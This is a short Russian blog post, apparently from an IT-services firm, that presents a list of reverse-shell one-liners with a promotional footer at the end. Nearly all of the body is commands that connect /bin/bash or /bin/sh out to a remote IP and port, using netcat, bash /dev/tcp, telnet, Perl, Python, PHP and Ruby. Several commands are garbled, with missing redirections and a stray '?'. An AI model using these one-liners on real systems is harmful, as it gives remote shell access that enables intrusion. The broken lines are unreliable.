Netcat и BackConnect, а так же похожие способы

В один прекрасный момент мне понадобился BackConnect с одного линуксового сервера до другого.
Решил использовать на этот раз NETCAT.

Для начала откроем порт на машине, к которому будем подключаться (не забываем, что у нее должен быть IP адрес, доступный из той сети из которой подключаемся)

nc -vv -n -l -p N

и после этого на подключаемой машине:

nc -vv -e /bin/bash IP N

где Nномер порта(одинаковый на двух машинах) IPIP или имя хоста к которому подключаемся.

P.S. для выполнения BackConnect через:

NETCAT с выключенным GAPING_SECURITY_HOLE:

mknod backpipe p && nc IP N 0backpipe

Если нет NETCAT, то можно попробовать через /dev/tcp:

/bin/bash -i > /dev/tcp/IP/N 0< &1 2>&1

Через telnet:

mknod backpipe p && telnet IP N 0backpipe

Из Perl скрипта:

perl -e 'use Socket;$i="IP";$p=N;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Из Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec?t(("IP",N));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Из PHP:

php -r '$sock=fsockopen("IP",N);exec("/bin/sh -i < &3 >&3 2>&3");'

Из Ruby:

ruby -rsocket -e'f=TCPSocket.open("IP",N).to_i;exec sprintf("/bin/sh -i < &%d >&%d 2>&%d",f,f,f)'

Заказать создание и поддержку безопасной IT-инфраструктуры любой сложности

Быть уверенным в своей IT-инфраструктуре — это быть уверенным в завтрашнем дне.

Для того, чтобы сделать заказ:

Заполните форму обратной связи и мы обязательно с вам свяжемся:
Форма обратной связи
Позвоните нам по телефону:
+7(909)952-44-33
Напишите нам на электронную почту:
order@blackdiver.net
Напишите нам в Telegram:
Telegram
Другие способы связи Вы сможете найти в разделе Контакты.